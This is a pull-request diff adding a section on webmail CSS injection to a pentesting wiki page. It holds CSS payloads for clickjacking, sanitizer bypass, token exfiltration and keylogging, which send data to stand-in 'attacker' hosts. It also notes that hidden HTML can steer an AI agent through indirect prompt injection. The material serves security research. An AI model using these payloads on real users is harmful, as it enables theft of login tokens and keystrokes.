Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
63 changes: 63 additions & 0 deletions src/pentesting-web/xs-search/css-injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -825,6 +825,67 @@ time.sleep(30)

So, if the font does not match, the response time when visiting the bot is expected to be approximately 30 seconds. However, if there is a font match, multiple requests will be sent to retrieve the font, causing the network to have continuous activity. As a result, it will take longer to satisfy the stop condition and receive the response. Therefore, the response time can be used as an indicator to determine if there is a font match.


### Webmail CSS injection: trust-boundary abuse

When attacker-controlled HTML/CSS is rendered inside a trusted webmail UI, look beyond classic secret exfiltration and test whether the sanitizer preserved interactive elements. A retained `<label for="...">` can activate any labelable control whose `id` lives outside the untrusted subtree, so clicking inside the email can open ribbons, focus inputs, toggle checkboxes, or trigger existing application actions. A quick recon query for candidate targets is `document.querySelectorAll('input[id],button[id],select[id],textarea[id]')`.<sup>[[23]](#references)</sup>

A minimal label-based UI activation payload looks like this:<sup>[[23]](#references)</sup>

```html
<label for="RibbonModeToggle">Open UI</label>
<label for="548">Pin this message</label>
```

If you get arbitrary CSS, pseudo-elements can also become a **CSS-only clickjacking** primitive. A fullscreen `:before` / `:after` attached to a trusted action inherits that element's click handler, so clicking anywhere on the page activates the underlying control. Chaining several overlays with increasing `z-index` can force multi-step workflows. See also [Clickjacking](../../clickjacking.md).<sup>[[23]](#references)</sup>

```css
.target:before {
position: fixed;
width: 100%;
height: 100%;
content: " ";
z-index: 10000000;
}
```

### Sanitizer differentials, image-proxy bypasses, and CSSOM mutation

In email/webmail targets, do not model CSS as passive styling. Useful request-capable sinks include `url()`, `image-set()`, `-webkit-image-set()`, `@import`, and even legacy `sourceMappingURL` comments. Sanitizers often miss parser differentials such as adjacent functions (`calc(...)url(...)`), comments inside unquoted `url(...)`, escapes between slashes (`url(/\0a/evil)` / `url(/\D/evil)`), or unresolved custom-property fallbacks. In practice these bugs can bypass image proxies or CSP allowlists and turn "remote images blocked" back into direct attacker-observable requests. See also [CSP bypass](../../content-security-policy-csp-bypass/README.md).<sup>[[23]](#references)</sup>

```css
background:image-set(var(--x,'//attacker.tld/open'));
content:url(/\5c/user.fm/uid.fastmail.com/track);
```

If the target sanitizes **CSSOM output** instead of the original source, diff the raw stylesheet against serialized fields such as keyframe names and `mediaText`. Escaped bytes that looked harmless before validation can decode into `}`, `*`, `:`, or full declarations during serialization, escaping selector prefixing and reaching trusted UI. Also audit post-sanitization JavaScript that consumes allowed `data-*` attributes: if trusted code appends new elements or styles with forbidden declarations such as `position:fixed`, you have a **CSS gadget** that can be combined with allowed properties plus `!important` to break out of the message pane.<sup>[[23]](#references)</sup>

### Clipboard races and compact token exfiltration

If the target pastes HTML into a `contenteditable` editor, test whether inline CSS becomes active **before** sanitization completes. A quick probe is to copy `<style>*{color:red}</style>` as HTML and paste it into the composer; a brief flash confirms a race. Once CSS wins the race, nested attribute selectors can recover structured secrets from existing draft content with much less payload than a full brute force: anchor 5 hex characters at the start (`en=<hex5>`) and 5 at the end (`<hex5>&o`), then test arbitrary 5-character chunks anywhere else in the URL and reconstruct the two middle characters server-side from 4-character overlaps. This is practical against 12-character hex login tokens embedded inside longer attributes.<sup>[[23]](#references)</sup>

```css
a[href^="https://target/?token="] {
&[href*="en=c2e16"] { background:url(//attacker/s/c2e16); }
&[href*="a1781&o"] { background:url(//attacker/e/a1781); }
&[href*="2e167"] { background:url(//attacker/m/2e167); }
}
```

### CSS-only keylogging, CSP-resistant text leaks, and AI rendering disparity

`input[value$=...]` keyloggers usually fail because typing changes the DOM **property**, not the HTML **attribute**. A more reliable HTML-only primitive is a styled `select`: keyboard input changes the selected `option`, which can be detected with `:checked`, `:has()`, or adjacent-sibling chains such as `option+option:checked`. Each position can trigger a different request, and the control can be disguised with `appearance:none` and `-webkit-text-security:disc`. In Firefox, moving the focused `select` off-screen and back with a sub-millisecond animation resets incremental-search state and enables near real-time keystroke capture.<sup>[[23]](#references)</sup>

```css
option+option:checked { background:url(https://attacker/?k=a); }
option+option+option:checked { background:url(https://attacker/?k=b); }
select { appearance:none; -webkit-text-security:disc; }
```

When automatic outbound requests are blocked, another option is to use digit-specific `@font-face` rules plus altered font metrics to count how many times each digit appears in a text node, then expose only the matching attacker-controlled link so the victim's **next click** performs the exfiltration. The same rendering discrepancies can also be chained with [indirect prompt injection](../../../AI/AI-Prompts.md): humans may see benign CSS-generated text via `:before` / `:after`, while an AI agent still reads hidden HTML instructions and executes attacker-chosen browsing steps.<sup>[[23]](#references)</sup>

PortSwigger published a companion materials repository with standalone PoCs for several of these chains.<sup>[[24]](#references)</sup>

## References

- [1] [LINE CTF 2022 - CSS/XS-Leak writeup (gist)](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Expand All @@ -849,5 +910,7 @@ So, if the font does not match, the response time when visiting the bot is expec
- [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
- [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)
- [22] [Gist by d0nutptr](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
- [23] [CSS: The Bomb Inside Your Inbox (PortSwigger)](https://portswigger.net/research/css-the-bomb-inside-your-inbox)
- [24] [PortSwigger materials repo: css-the-bomb-inside-your-inbox](https://github.com/portswigger/css-the-bomb-inside-your-inbox)

{{#include ../../../banners/hacktricks-training.md}}